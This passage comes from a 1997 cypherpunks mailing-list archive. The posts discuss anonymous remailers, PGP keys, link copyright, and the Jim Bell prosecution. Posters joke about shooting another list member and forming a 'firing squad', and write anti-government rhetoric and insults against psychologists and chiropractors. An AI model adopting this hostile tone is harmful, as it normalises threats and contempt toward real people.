to travel between one part of the country and another?  Between one 'burb
to another?

 
How soon before we have to register every computer out there?  How soon
before we have to register every phone and phone card?  Every pencil and   
knife and fork and other sharp objects? How soon before night curfews?
How soon before Victory Coffee and Gin?  How soon to food rations?  How
soon to electricity rations and water rations and net access rations? How
soon before ex-communist Russia has more freedom than we?
 
They've already silenced us, they've already taken our guns, they've
already thrown us in jail for feeding others, for speaking, thinking and  
protesting, and demanding privacy, they've already stripped our privacy,   
they've already murdered us, they've already licensed everything we can do 
and can't, they've already filled the streets with jackbooted gun and
nightstick toting thugs who wear blue and use bathroom plungers as means
of interrogation.
 
What next?  And how soon?
 


---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 20 Aug 1997 15:14:11 +0800
To: cypherpunks@toad.com
Subject: Copyright Infringement Website / Re: CPAC Quotes Templeton
Message-ID: <199708200700.AAA29766@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




	WELCOME TO THE COPYRIGHT INFRINGEMENT WEBSITE
	---------------------------------------------

We are proud to offer you a variety of associated links to save
you valuable time while surfing the net.

Links:
          http://www.clari.net/brad/linkright.html
	http://toto.net/CrowbarsUpTheAnus
          http://www.clari.net/brad/linkright.html
	http://enoch.net/BananasInYourEar/
          http://www.clari.net/brad/linkright.html
	http://frissell.net/ToiletPlungerGames/
          http://www.clari.net/brad/linkright.html
	http://pooh.net/SmoothBabyBottoms/
          http://www.clari.net/brad/linkright.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 03:40:14 +0800
To: "David D.W.Downey" <cypherpunks@toad.com
Subject: David Downey asks to be shot
In-Reply-To: <33F99E5C.13D23503@cyberspacetechnologies.com>
Message-ID: <v03102804b01fa3e68fed@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:23 AM -0700 8/19/97, David D.W.Downey wrote:
>blackjack@hotmail.com wrote:
>
>> Saw your post in the newsgroups.
>>
>> Check this out!
>>
>> http://www.geocities.com/Eureka/Plaza/1022
>
>  Ya know, this shit really pisses me off. I understand that we have to
>protect everyone's rights if we wish are own to be protected. This is a
>classic case of what is causing the mainstream public to hash so hard
>about porn and such. I did nothing to solicit this beyond posting to a
>news group. This troller comes along, scarfs my email address and then
>sends me this email. If you click on the link it sends you to a place to
>sign up for accessing a hard porn site. This is what feeds the initiated
>Johnnie Q.Public's desire to control the net, and endangers all of our
>rights on the net. I understand that we have to protect the enemies'
>rights too, but can't we just shoo a few of them first? Lowers the
>numbers needing protection and might help us out in the end.
>Grrrrrrr!!!!

I agree. We should shoot a few of the enemies first.

I suggest you be shot.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 20 Aug 1997 15:47:00 +0800
To: cypherpunks@toad.com
Subject: Re: Status of Cypherpunks list sites?
Message-ID: <199708200730.AAA06171@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




Apache wrote:
> 
> I am subscribed to toad and
> cyberpass under 3 or 4 names and I find toad is by far the quickest in
> turn around time to me.

  They can do wonderful things with people having multiple personalities
these days. You ought to check it out.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 20 Aug 1997 02:06:12 +0800
To: Apache <apache@bear.apana.org.au>
Subject: Re: It's Official...
In-Reply-To: <Pine.LNX.3.96.970820030557.4635A-100000@bear.apana.org.au>
Message-ID: <199708191755.MAA03771@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.96.970820030557.4635A-100000@bear.apana.org.au>, on
08/20/97 
   at 03:15 AM, Apache <apache@bear.apana.org.au> said:

>On Tue, 19 Aug 1997, Robert Hettinga wrote:

>>                                                        We're Becoming
>>                   The term is being coined by Dr.      Cyber
>>                   Kimberly Young, an assistant         Junkies--Electronic
>>                   professor of psychology at the       Engineering
>>                   University of Pittsburgh at          Times
>>                   Bradford, in Bradford, Pa. With her
>>                   paper's presentation, the APA will
>>                   classify excessive Internet use as

>Typical tactics by qwacks impersonating scientific researchers. Invent a
>new mental ailment and cash in on insurance. I'll stick to entrail
>readers.

Well the field of Psychology is second only Chiropracticy for quacks.

They are filled with wantabe scientist who could not hack it in a real
scientific field.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 20 Aug 1997 04:50:34 +0800
To: cypherpunks@cyberpass.net
Subject: CPAC Quotes Templeton
Message-ID: <19970819202714.28609.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Those of you who have been following the efforts of CPAC and their
associates to render homeless certain web sites which they feel might be
frequented by thought criminals might find the following an interesting
case of "strange bedfellows."

It is apparent that CPAC doesn't like opposing points of view,
particularly when they are seen in public forums hosted by CPAC on the
Web.  Messages which don't toe the CPAC party line mysteriously vanish and
forums are frequently erased in their entirety when anything resembling a
discussion appears.

Now CPAC has claimed some new territory in their war to silence their
critics.  They maintain that no one who does not agree with their agenda
may show a link to any of their publicly available resources on the Web,
and that doing so constitutes theft of their bandwidth. <giggle>

They quote as their cite for this concept a piece by Brad Templeton,
ClariNet owner, who apparently shares their view that links can constitute
copyright infringement under certain circumstances.  Fortunately, Brad 
does not restrict linking to the article in question, from which I offer
the following tiny snippet under the "Fair Use" doctrine. 

 > I, and many other people initially had the intuitive feeling that it
 > could never be a violation of copyright to make a link to a web page.
 > Of late, I've come to think that this might be wrong. 
   
Now what CPAC objects to is people who post messages saying, essentially, 

"Look at the silly CPAC people rant and froth.  <Click Here>"

I would suggest that CPAC is a political organization, with a very 
well-defined social agenda, which I have every right to comment on, 
and that illustrative hyperlinks in my commentary constitute "Fair Use"
of their content.

Am I on firm legal ground here?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 05:13:59 +0800
To: cypherpunks@toad.com
Subject: Chiropractic
In-Reply-To: <Pine.LNX.3.96.970820030557.4635A-100000@bear.apana.org.au>
Message-ID: <v03102807b01fb4997a72@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:51 AM -0700 8/19/97, William H. Geiger III wrote:

>
>Well the field of Psychology is second only Chiropracticy for quacks.
>
>They are filled with wantabe scientist who could not hack it in a real
>scientific field.

Actually, you are being too kind here to Chiropractic.

Yes, "Chiropractic." Not "Chiropracticy" or anything like that. They call
their field "chiropractic."

Sort of like electronics folks saying "I specialize in Electronic." Or
psychiatrists saying "I'm into Psychiatric."

Chiropractic _what_?

But beware the siren song of weeding out quacks. My local community floated
a proposal to license and regulate psychics, palm readers, fortune tellers,
etc., until wiser heads prevailed, pointing out the essential idiocy of
this. Not to mention the First Amendment issues, even if money is changing
hands (which of course happens in nearly all churches, so money exchange is
not a license to interfere in religious practices).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 04:59:15 +0800
To: cypherpunks@cyberpass.net
Subject: Status of Cypherpunks list sites?
Message-ID: <v03102808b01fb66ae7bf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I've noticed that the list site name, "cypherpunks@toad.com", is still in
use by many posters. I find it on most of the posts I reply to, and I have
to manually change to one of the three current lists.

Not too long ago I was subscribed to the "cypherpunks@algebra.com" address,
and the list stopped flowing to me for a day or so. I resubbed under
"cypherpunks@cyberpass.net." I noticed that Igor Chudov said he was taking
a hiatus from the Net and lists, so I wondered if this meant his support
for his site was either being dropped or might be subject to more frequent
outages.

Anyway, has anybody been doing any pings of the various lists to see which
ones are  most available and have the lowest latencies for redistribution
to subscribers?

And shouldn't we all be making a more serious effort to drop the use of the
"cypherpunks@toad.com" address, as John said some months back that he would
support forwarding stuff for a while, but not necessarily forever. As it
is, it just adds another hop and another potential weak link.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 20 Aug 1997 05:29:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: David Downey asks to be shot
In-Reply-To: <199708192043.PAA05812@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970819140753.8354A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, William H. Geiger III wrote:

> In <v03102804b01fa3e68fed@[207.167.93.63]>, on 08/19/97 
>    at 12:28 PM, Tim May <tcmay@got.net> said:
> 
> >I agree. We should shoot a few of the enemies first.
> 
> >I suggest you be shot.
> 
> 
> I'll second the motion shall we put it to a vote?? :)

I wonder how close Lucky and the rest of the Cypherpunks firing squad to
Mr. Downey? ]:>

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 20 Aug 1997 05:28:20 +0800
To: cypherpunks@cyberpass.net
Subject: CPAC Quotes Templeton
Message-ID: <19970819211323.369.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Brad Templeton's thoughts on hyperlinks as copyright infringement
may be browsed at...

          http://www.clari.net/brad/linkright.html

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 19 Aug 1997 12:51:14 +0800
To: cypherpunks@toad.com
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <19970817123643.13713.qmail@hotmail.com>
Message-ID: <Pine.OSF.3.96.970819143011.5711A-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, David Downey wrote:

[...]

> Even though you can generate 
> RSALIB based keys, why do so when there is a newer and better algorythm 
> supplied with the 5.0?

I will be useing PGP to sign NoCeMs and I wish to maximise the number of
peaple will be able to use my posts.  For this I would have to use the old
size key untill PGP5.0 gets a signifigent market share.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 20 Aug 1997 02:50:55 +0800
To: stewarts@ix.netcom.com
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.2.32.19970819090006.0077da04@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.96.970819144057.8355G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997 stewarts@ix.netcom.com wrote:

> Eudora would be an interesting platform if you could convince the
> plug-in to run along with your spam filters and the PGP plug-in
> and have everything done in the right order.  You'd also have the problem
> of putting the right headers on the message - it's nicer if it
> can get a different From: header for remailer mail than for real mail,
> so people who don't like remailer mail can flame you accurately :-)

If I recall correctly, Eudora uses standard mailbox format just like Pine,
Elm and other unix like mailers, so it is possible to write a filter
program that would go through the mailbox file and do stuff for you, such
as stripping away headers.

Here's a question for those that use Eudora: is there a way to have Eudora
run stuff for you on incoming mail?  That is when it goes out and connects
to the POP3 server and downloads the mail, can it launch another
application to munge the new inbox?  

If so, it should be easy enough to take the incoming mail and process it -
say using perl, VB or whatever, and you can probably just append stuff to
the outbox. (Other question, can Eudora be told to send outgoing mail at
certain hours?  If not, you'll have to have the program telnet out for you
to port 25 of the SMTP...)

I've done similar things in Perl (not using Eudora) for the bots that run
my filtered cypherpunks list.  One bot scrounges through my mailbox
looking for admin requests, another sends filtered mail out when enough
has queued up. 

Would be trivial enough to turn them into a remailer by glueing PGP to the
mix.  :) 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 19 Aug 1997 13:13:51 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: Nothing Accumulation Separation All
In-Reply-To: <199708180209.EAA24674@basement.replay.com>
Message-ID: <Pine.OSF.3.96.970819143649.5711C-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Anonymous wrote:

> Thee InterNet is not a collection of machines, but a social
> relation among people, mediated by *nothing*.

This is incorrect,  there are many things that meditate the interesctions
of peaple on the net.

> Thee InterNet is capital to such a degree of *accumulation*
> that it becomes a machine.

So what?  Even though it could be viewed this way it is made up of
autonmouse units.  Talking about a great mystical thing called 'The
internet' is only sutable for Wired Journolists.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 06:32:50 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: CPAC Quotes Templeton
In-Reply-To: <19970819202714.28609.qmail@zipcon.net>
Message-ID: <v0310280ab01fcbf2f6ac@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I wish I'd heard about this issue a few days ago, as I was just at a party
at Brad's house on Saturday.

At 1:27 PM -0700 8/19/97, Mike Duvos wrote:

>They quote as their cite for this concept a piece by Brad Templeton,
>ClariNet owner, who apparently shares their view that links can constitute
>copyright infringement under certain circumstances.  Fortunately, Brad
>does not restrict linking to the article in question, from which I offer
>the following tiny snippet under the "Fair Use" doctrine.
>
> > I, and many other people initially had the intuitive feeling that it
> > could never be a violation of copyright to make a link to a web page.
> > Of late, I've come to think that this might be wrong.
>
>Now what CPAC objects to is people who post messages saying, essentially,
>
>"Look at the silly CPAC people rant and froth.  <Click Here>"
>
>I would suggest that CPAC is a political organization, with a very
>well-defined social agenda, which I have every right to comment on,
>and that illustrative hyperlinks in my commentary constitute "Fair Use"
>of their content.
>
>Am I on firm legal ground here?

I think so. Even quoting _blocks_ of someone's text is usually considered
"fair use," and there have never, to my knowledge, been any cases in which
a reference or pointer to a text was considered copyright infringement.
References, as in bibliographies, are in fact just that, references or
pointers. Saying "Go read Joseph Finder's "The Zero Hour"" is not an
infringement of any sort.

As for Web pages, it seems clear that the same logic applies. Someone who
makes their material available to anyone who follows a link cannot object
when someone else publishes that link, no matter in what context.

So, I think Brad Templeton is clearly wrong. Though, in fairness to Brad,
his views may be more nuanced than the brief excerpt above.

This topic came up a couple of times on the Cyberia-l mailing list, with
the consensus, as I recall, being that "of course" pointers and citations
are not copyrightable. They fail all the tests of length, the reasons for
copyright, etc.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 20 Aug 1997 05:04:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: David Downey asks to be shot
In-Reply-To: <v03102804b01fa3e68fed@[207.167.93.63]>
Message-ID: <199708192043.PAA05812@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102804b01fa3e68fed@[207.167.93.63]>, on 08/19/97 
   at 12:28 PM, Tim May <tcmay@got.net> said:

>At 6:23 AM -0700 8/19/97, David D.W.Downey wrote:
>>blackjack@hotmail.com wrote:
>>
>>> Saw your post in the newsgroups.
>>>
>>> Check this out!
>>>
>>> http://www.geocities.com/Eureka/Plaza/1022
>>
>>  Ya know, this shit really pisses me off. I understand that we have to
>>protect everyone's rights if we wish are own to be protected. This is a
>>classic case of what is causing the mainstream public to hash so hard
>>about porn and such. I did nothing to solicit this beyond posting to a
>>news group. This troller comes along, scarfs my email address and then
>>sends me this email. If you click on the link it sends you to a place to
>>sign up for accessing a hard porn site. This is what feeds the initiated
>>Johnnie Q.Public's desire to control the net, and endangers all of our
>>rights on the net. I understand that we have to protect the enemies'
>>rights too, but can't we just shoo a few of them first? Lowers the
>>numbers needing protection and might help us out in the end.
>>Grrrrrrr!!!!

>I agree. We should shoot a few of the enemies first.

>I suggest you be shot.


I'll second the motion shall we put it to a vote?? :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/n3fI9Co1n+aLhhAQH3ngP+JgxHSivJFcjxZnFDEyW5fMGRQ1mlk6ti
c/YrkRDkF+uiCjvLO91z/pufLc+C5yi+weNDRZIptmz6TpFgvLQTmV7jOXnizZdH
X801eot7ByDxhTvpnx0VCMWHx0StIl5JhHUau/9VZ3hgn1QtUEKC/u2KlxKSPQSe
hjxEtHBwgb4=
=x5LZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 20 Aug 1997 07:12:06 +0800
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <v03102803b01f909c07ac@[207.167.93.63]>
Message-ID: <v0310280bb01fce5c87de@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:56 PM -0700 8/19/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:21 AM 8/19/97 -0700, Tim May wrote:
>
>>So, I disagree with Duncan's apparent point that it's too bad the Bell case
>>didn't go to trial. I'm convinced Bell would have been convicted on most or
>>all charges. Hardly a test case for anything important.
>
>But the charges were minor stuff.  Under the Federal sentencing guidelines he
>wouldn't have gotten much if convicted.  And I think that he had a good
>defense to some of the charges.  Selective prosecution and no crime for
>example.  The collecting of the names and addresses of government employees
>is not clearly illegal.  In some cases, it is public information and he could
>argue that he intended to organize demonstrations against them.  It is also

I dont' believe the "collecting the names..." point made it into the final
charges, but I could be wrong. My recollection is that the three main
charges were: using multiple phony SS numbers to evade taxes, failure to
file and pay taxes in the required manner, and the stink bomb charges.  Nor
did any of the things about poisoning water supplies or dropping carbon
fibers down airshafts make it into the final charges, that I recall.

>From my reading, by limiting the scope to the points above the Feds had a
pretty strong case. As to whether Bell could claim he was being prosecuted
because of his views, I'll get to that below.

>not clear how they found out about the stink bomb.  That could possibly have
>been challanged.

There is the testimony of one of his former friends that Bell claimed he
had stinkbombed a lawyer he didn't like a few years back, apparently using
the same mercaptin used (it appears) in the recent case. And didn't Alan
Olsen say on this list that Jim had talked about such stinkbombs? It seems
reasonable that a jury would believe Bell had ordered mercaptin, had told
others he had used it in the past, and that an attack on a Portland IRS
office followed his altercation over taxes with them by a few weeks. Were I
on the jury, I think I'd think he did it.

But, hey, maybe "jury nullification" could get him off.

>The charges were fuzzy and minor.  Those sorts of things make them easy for a
>strong advocate to ridicule in court.  Clearly a waste of the taxpayer's
>money.  Their nature smells of political prosecution.  Another line of
>defense.

No doubt a Gerry Spence could do this, but his court-appointed lawyer was
most likely oblivious to such tactics, and was anxious to plead him out. As
we all saw in the McVeigh case, court appointed lawyers really are not
working for their putative clients.

My bigger fear, and no doubt Jim will someday read this and perhaps take
umbrage at my comments here, is that this several-month "debriefing" period
is where the Feds are collecting as much incriminating information against
some of us as they can, perhaps with an eye toward hitting various of us
with RICO charges, sedition, etc.

(Now _this_ would be a high-risk tactic for the Feds to take, as we who are
charged might fight back hard, and actually win. Depends on the climate. If
they link us to supplying strong crypto to various freedom fighters, and to
money launderers (remember Anguilla), etc., then maybe a jury would
convict. Not on sedition, perhaps, as this is hard to prove, but on RICO
charges.)



>He could have been aggressive and fought instead of wimping out.  Lots of
>people have faced much more serious crimes and won.  It's not like Jim had
>anything better to do.
>
>In such cases, an aggressive show of strength of character is best.  Weakness
>invites oppression.  A rule that you - Tim - seem to follow in general too.

Well, Bell was about as extreme and aggressive as one can get...and yet....

If I were to be arrested and held without bail--perhaps because of the
"arms cache" and "chemicals" the news media would breathlessly report--I
rather suspect my aggressiveness would fall on deaf ears.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 20 Aug 1997 07:42:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <v0310280bb01fce5c87de@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970819161707.610C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, Tim May wrote:

> There is the testimony of one of his former friends that Bell claimed he
> had stinkbombed a lawyer he didn't like a few years back, apparently using
> the same mercaptin used (it appears) in the recent case. And didn't Alan
> Olsen say on this list that Jim had talked about such stinkbombs? It seems
> reasonable that a jury would believe Bell had ordered mercaptin, had told
> others he had used it in the past, and that an attack on a Portland IRS
> office followed his altercation over taxes with them by a few weeks. Were I
> on the jury, I think I'd think he did it.

Actually it was mentioned to me by a freind who has known Jim for many
years.  (Someone who I know well enough to trust his word on the matter.)
The only incident he mentioned was the one with the lawyer's office, not
the IRS "incident".  

> But, hey, maybe "jury nullification" could get him off.

Only if an AP bot were used. ]:>

> >The charges were fuzzy and minor.  Those sorts of things make them easy for a
> >strong advocate to ridicule in court.  Clearly a waste of the taxpayer's
> >money.  Their nature smells of political prosecution.  Another line of
> >defense.
> 
> No doubt a Gerry Spence could do this, but his court-appointed lawyer was
> most likely oblivious to such tactics, and was anxious to plead him out. As
> we all saw in the McVeigh case, court appointed lawyers really are not
> working for their putative clients.

Of course not.  Look who is paying the bills.

> My bigger fear, and no doubt Jim will someday read this and perhaps take
> umbrage at my comments here, is that this several-month "debriefing" period
> is where the Feds are collecting as much incriminating information against
> some of us as they can, perhaps with an eye toward hitting various of us
> with RICO charges, sedition, etc.

I am certain they can.  But it has become obvious that if they want to get
me on some phoney charge they will be able to do so no matter how I live
or act.  Better to be true to my beliefs that to act like a good little
sheeple.

> (Now _this_ would be a high-risk tactic for the Feds to take, as we who are
> charged might fight back hard, and actually win. Depends on the climate. If
> they link us to supplying strong crypto to various freedom fighters, and to
> money launderers (remember Anguilla), etc., then maybe a jury would
> convict. Not on sedition, perhaps, as this is hard to prove, but on RICO
> charges.)

The reason that I believe you will probably not get the "knock in the
night" is that you have the money and resources to fight them off.  They
are more likely to go after the "soft targets" of the semi-employed ranter
who just happens to step on the wrong toes.

> >He could have been aggressive and fought instead of wimping out.  Lots of
> >people have faced much more serious crimes and won.  It's not like Jim had
> >anything better to do.
> >
> >In such cases, an aggressive show of strength of character is best.  Weakness
> >invites oppression.  A rule that you - Tim - seem to follow in general too.
> 
> Well, Bell was about as extreme and aggressive as one can get...and yet....

On the list maybe, but his real life actions were not as aggresive as
maybe the government would like to claim.  He could have made a much
bigger stink than he did before getting nailed by the IRS.

> If I were to be arrested and held without bail--perhaps because of the
> "arms cache" and "chemicals" the news media would breathlessly report--I
> rather suspect my aggressiveness would fall on deaf ears.

And if they had you in a cell with the implied threat of moving you to a
tougher environment if you did not cooperate, you might cop a plea just to
get the hell out of there.

I am starting to believe that the reason that Jim got as pounded on as he
did was because he did not have the financial resources to fight back.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Tue, 19 Aug 1997 23:11:22 +0800
To: JonWienk@ix.netcom.com (Jonathan Wienke)
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.2.32.19970818211433.00694684@popd.netcruiser>
Message-ID: <199708191457.QAA25679@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> Is there any Eudora plug-in that allows anyone using Eudora to operate a
> remailer?  I would think that if anyone with Eudora and an email account
> can chain remail PGP encrypted messages for others a la mixmaster, etc. it
> would be much harder to shut down 40,000 remailers tham 40.
> 
> Jonathan Wienke

Try the winsock remailer: http://www.cyberpass.net/~winsock/

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 20 Aug 1997 05:07:19 +0800
To: enoch@zipcon.net
Subject: Re: CPAC Quotes Templeton
In-Reply-To: <19970819202714.28609.qmail@zipcon.net>
Message-ID: <199708192104.RAA21650@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos writes:

> [Brad Templeton:]
>  > I, and many other people initially had the intuitive feeling that it
>  > could never be a violation of copyright to make a link to a web page.
>  > Of late, I've come to think that this might be wrong. 
>    
> Now what CPAC objects to is people who post messages saying, essentially, 
> 
> "Look at the silly CPAC people rant and froth.  <Click Here>"
> 
> I would suggest that CPAC is a political organization, with a very 
> well-defined social agenda, which I have every right to comment on, 
> and that illustrative hyperlinks in my commentary constitute "Fair Use"
> of their content.
> 
> Am I on firm legal ground here?

If you merely point to someone else's content, I don't see how you
can possibly be found to have violated their copyright.  The "linkee"
site is the one publishing the information guarded by copyright, not
the "linker" ("publish" == to desseminate or make available to the
public).  IMO, you don't even need to cite "fair use" for this;
*you're* not publishing it, they are.  This is just an intimidation
tactic.  (Of course, if they have lawyers and money and motivation,
and you don't, it may very well work.)

BTW, do you have an URL to the Brad Templeton piece?


-- Jeff (IANAL, etc.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 19 Aug 1997 23:38:58 +0800
